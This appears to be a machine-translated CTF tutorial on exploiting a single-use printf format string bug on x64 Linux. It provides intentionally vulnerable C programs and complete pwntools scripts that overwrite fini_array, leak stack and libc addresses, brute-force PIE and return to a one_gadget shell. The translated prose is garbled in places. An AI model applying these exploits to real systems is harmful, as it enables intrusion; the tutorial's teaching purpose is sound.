Zero, Preface
Format well, format is a second, the format character has a way, see me Archery Master skill, qiang method should count the high return to the moon, random value blind to use asterisks, without return path, how to pwn it again.
The format string is usually accompanied by multiple loops, but there are also cases where only one format string can be used. It mainly utilizes the process of executing the exit function to traverse the function addresses stored in the fini_array pointer array (as shown in the figure below), and the attacker modifies the fini_array array to achieve the attack effect by modifying it to the specified content.

Generally, the question setter will leave the system in the program for the answerers to use, and in order to ensure that the attack can be implemented, the pie protection is disabled. This article will discuss in depth the following.Enable pie protection and do not have the system functionThe attack method in this situation.
1. Archery Master (Routine Question)
//fmt_str_once_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int sys(char *cmd){
system(cmd);
}
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf[0x100] ;
puts("input:")
read(0,buf,0x100);
printf(buf);
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64
This question is a typical case where the format string can only be used once. The program has the system function and the pie protection is disabled. The main attack idea is as follows.
Utilize the format string to modify the value in the fini_array to the address of the function to be returned, and modify the printf@got item to the address of system@plt.
Pass /bin/sh\x00 to execute system("/bin/sh")
The main attack script is as follows.
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_sys_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc
dem = 'input:\n'
io.recvuntil(dem)
fini_array = 0x4031D0
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
system_plt = elf.symbols["system"]
payload = fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt})
io.send(payload)
io.sendafter(dem,b"/bin/sh\x00")
io.interactive()
It is evident that the above situation is not general, and it is designed for the purpose of formulating questions. A more general question should not have the system function, and the question is as follows:
//fmt_str_once_no_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
int sys(char *cmd){
system(cmd);
}
*/
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf[0x100] ;
puts("input:")
read(0,buf,0x100);
printf(buf);
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_nopie_x64
//gcc fmt_str_once_no_sys.c -z norelro -o fmt_str_once_no_sys_pie_x64
This question also has two cases, one isDisable pie protectionThere are two types of themEnable pie protectionWe will deal with these two situations separately.
Second: One stone kills three birds (disable pie)
If there is no system function in the program, the main problem we face isThe first formatted string cannot modify the printf@got table item to the system@plt table item addressThis issue is relatively easy to solve, we just need to modify the return address on the stack for the second time, and debug and compare the stack frames after modifying the value in the fini_array to the address of the main function.
First:
Second:
It can be seen that in the environment of my libc, the stack frame is elevated by 0xe0 when returning to dofunc again. Therefore, in the first step, it is necessary to leak the stack address and the base address of libc, calculate the second stack frame, so that when using the formatted string for the second time, the return address on the stack can be modified. The main change in the attack idea is as follows.
Use the formatted string to complete the following content at one time
Modify the value in the fini_array to the address of the function to return
leak the stack address
Leak the base address of libc
Modify the return address of the stack to pop_rdi_ret; bin_sh_addr; system_addr
Of course, there are several issues to be handled during the attack
1.%n Input character calculation
We usually use similar %100c%10$hnThis form to write data to a specified memory, the written data is100。But when using %p%10$hnThis form to write data to memory, %p will be based on the converted characters, that is, in the form of 0x7fffffaabb00, which is to write data to memory as14(32-bit program is 10). Similarly, if using %10$s%10$hnThis form, which is the number of characters printed out as the written data, is very fortunate that64-bit programs have saved us with 6-byte memory addressesThe high two bytes of the 'got' table item are stored as 00, so the exploitation of %10$s%10$hnWhen leaking the address of the 'got' table item in this form, the data written to memory is6。(Due to the fact that the content of the 'got' table item in 32-bit software is four bytes, the number of characters printed out requires a more precise calculation, which makes 32-bit programs more difficult)
As shown in the figure, the figure}} %40$p%16sWhen calculating the number of characters, the number indicated by the arrow should be calculated, that is, 14 + 6 = 20 characters. At the same time, attention should not be paid to the characters used for alignment. Therefore, when calculating the number of characters to be written, the content used for leaking at the beginning represents 14 + 6 + 6 = 26 characters.
2. Need to send too many characters to modify the stack frame
When the program is exploited by the format string vulnerability for the second time, since it needs to modify the stack frame to 3 word lengths, a total of 24 bytes, there is a high probability of sending too many characters, as shown in the figure below.
This issue is relatively easy to solve, we execute todofunc
functionret
When observing the register values, choose another availableOne_Gadget
and it is done.
I chooseOne_Gadget
is 0xe6c7e. The main attack script is as follows
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_no_sys_nopie_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc
dem = 'input:\n'
io.recvuntil(dem)
payload = b"%40$p%16$s"
align_len = 16
len_a = align_len - len(payload)
payload = payload.ljust(align_len,b"a")
fini_array = 0x4031A8
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x401363
# system_plt = elf.symbols["system"]
# The number of characters printed by %40$p is 14, the number of characters printed by %16$s is 6, len_a is the number of characters added for alignment
numb_written = 14 + 6 + len_a
payload += fmtstr_payload(8, {fini_array :main_adrr} , numbwritten = numb_written)
payload += p64(puts_got) # Placing puts@got at the end
print(payload)
io.send(payload)
io.recvuntil(b"0x")
rbp_1 = int(io.recv(12),16)
old_rbp = rbp_1 - 0x10
new_rbp = old_rbp - 0xe0
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
sys_addr ,binsh_addr = pwn_script.libcsearch_sys_sh("puts" , puts_addr , path = libc.path)
libc_base = sys_addr - libc.symbols["system"]
one_gadgat = libc_base + 0xe6c7e
print("old_rbp is :", hex(old_rbp))
print("new_rbp is :", hex(new_rbp))
print("sys_addr is :", hex(sys_addr))
print("binsh_addr is :", hex(binsh_addr))
# payload = fmtstr_payload(6, {new_rbp + 0x8 :pop_rdi_ret , new_rbp+0x10:binsh_addr , new_rbp+0x18:sys_addr})
payload = fmtstr_payload(6, {new_rbp + 0x8 :one_gadgat })
io.sendafter(dem, payload)
io.interactive()
Three, fish in troubled waters (enable pie)
compared topie
, after protection is turned on, since the address of the got table is unknown, it is impossible to pass throughfini_array
the address and directly modifying it to the address to be returned, as well as directly leakinglibc
Base address. In short, the randomness of the address has become our attack difficulty, we must flexibly use the existing data in memory to attack. For veterans, leaking_libc_start_main
function address to leaklibc
The address is an easy task, but modifyingfini_array
The data is relatively difficult, through debugging and observing the memory data as shown in the figure below.
There are two exploitable addresses (it may be the puts function, orinit_func()
, or it may be caused by program loading, which needs to be verified). I adopt the way of brute force to deal with it, assuming that the last two bytes of the program loading address are both 0, at this time,fini_array
the last two digits are0x31b0
, the last two digits of, elf.symbols["main"] =0x12a4
, after the brute force is successful, modify the return address of the stack again toOne_Gadget
, the time complexity of brute force is O(1) = 16.
In summary, the main attack approach has been changed as follows
Use the formatted string to complete the following content at one time
brute force modification
fini_array
to be the address of the function (main) to be returned,leak the stack address
Utilize
_libc_start_main
function to leaklibc
Base addressAfter the brute force is successful, modify the return address of the stack to
One_Gadget
The problem should have been solved by now, but a little problem occurred in my environment. Since r15 no longer points to 0, throughone_gadget
Program foundOne_Gadget
As shown in the figure below, none of them can be used (even if the parameter -l 10 is set), therefore, it is necessary to manually adjustOne_Gadget
.
One_Gadget manual debugging
searching forOne_Gadget
It is nothing more than the program executing automaticallysystem("/bin/sh")
or similar programs, adhering to this principle,one_gadget
Program foundOne_Gadget
Continue to search forward, withone_gadget
Found0xe6c81
For example, r12 and r15 are the second and third parameters.
We follow 0xe6c76 back to check, as shown in the figure, r15 = rbp-0x50, and rbp-0x50 stores rax, since the program's return value is 0, rax will be set to zero.
Set rax to 0
Therefore, the optimized attack approach is as follows.
Use the formatted string to complete the following content at one time
brute force modification
fini_array
to be the address of the function (main) to be returned,leak the stack address
Utilize
_libc_start_main
function to leaklibc
Base addressUse the formatted string to complete the following content at one time
After the brute force is successful, modify the return address of the stack to
One_Gadget
If necessary, it can also be adjusted through
rbp
to achieve this.One_Gadget
is established
Therefore, the One_Gadget used by me is 0xE6EF0. The main attack script is as follows.
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_no_sys_pie_x64'
for i in range(20):
try:
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
puts_got = elf.got["puts"]
dem = 'input:\n'
io.recvuntil(dem)
payload = b"%40$p%43$p" # Leak base address, libc address
nu = main_adrr - 14*2
# Exploit modify the value in fini_array to the address of the function to return (main)
payload += b"%" + str(nu).encode("utf-8") + b"c%34$hn"
align_len = 0x1c*8
len_a = align_len - len(payload)
payload = payload.ljust(align_len,b"a")
fini_array = 0x31b0
# system_plt = elf.symbols["system"]
# numb_written = 14 + 6 + len_a
# payload += fmtstr_payload(8, {fini_array :main_adrr}, numbwritten = numb_written)
# payload += p64(puts_got)
# Exploit write the address of fini_array
payload += p16(fini_array)
print(payload)
io.send(payload)
io.recvuntil(b"0x")
rbp_1 = int(io.recv(12),16)
old_rbp = rbp_1 - 0x10
new_rbp = old_rbp - 0xe0
io.recvuntil(b"0x")
libc_start_main_243 = int(io.recv(12), 16)
libc_start_main = libc_start_main_243 - 243
sys_addr, binsh_addr = pwn_script.libcsearch_sys_sh("__libc_start_main", libc_start_main, path = libc.path)
libc_base = sys_addr - libc.symbols["system"]
one_gadgat = libc_base + 0xE6EF0
print("old_rbp is :", hex(old_rbp))
print("new_rbp is :", hex(new_rbp))
print("sys_addr is :", hex(sys_addr))
print("binsh_addr is :", hex(binsh_addr))
print("one_gadgat is :", hex(one_gadgat))
# payload = fmtstr_payload(6, {new_rbp + 0x8 : pop_rdi_ret , new_rbp+0x10:binsh_addr, new_rbp+0x18:sys_addr})
payload += fmtstr_payload(6, {new_rbp + 0x8 : one_gadgat })
io.sendafter(dem, payload)
io.interactive()
except:
pass
The attack is successful as shown in the figure below
Four, Summary
Through the above process, it can be found that the following points should be done well when solving such problems
Calculation of input characters for %n
For 64-bit programs,64-bit programs have saved us with 6-byte memory addressesIf %n$s points to a GOT table entry, the number of printed characters must be 6
For 32-bit programs, it is relatively complex. It is necessary to calculate the number of GOT table entries that still exist at the high address of the selected GOT table entry, and there may be 00 in the GOT table entries, so it is recommended to choose the last GOT table entry as the leak address.
The search for One_Gadget sometimes requires manual search
One_Gadget
need to be adjusted individually sometimesrbp
address to makeOne_Gadget
is established**For programs without
system
situation, it is necessary to knowlibc
version, to ensure_libc_start_main
and the exit function are not very different, of course, if there islibc
is better. **For cases without libc version, the first step needs to be manually tested for the libc version.
Fifth, Problem
Experienced masters can find that the compilation in the above question used-z norelro
compilation option, that isNULL RELRO
protection mode, so that it can be attackedfini_array
But this is obviously not the most extreme case. If the compilation option becomesgcc -z now fmt_st.c -o fmt_strx64
How should it be handled? Stay tuned for the next article——Look Back at the Moon
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUFLEN 0x60
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf[BUFLEN];
puts("input");
read(0, buf, BUFLEN);
printf(buf);
_exit(0);
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
// gcc -z now fmt_st.c -o fmt_strx64

评论已关闭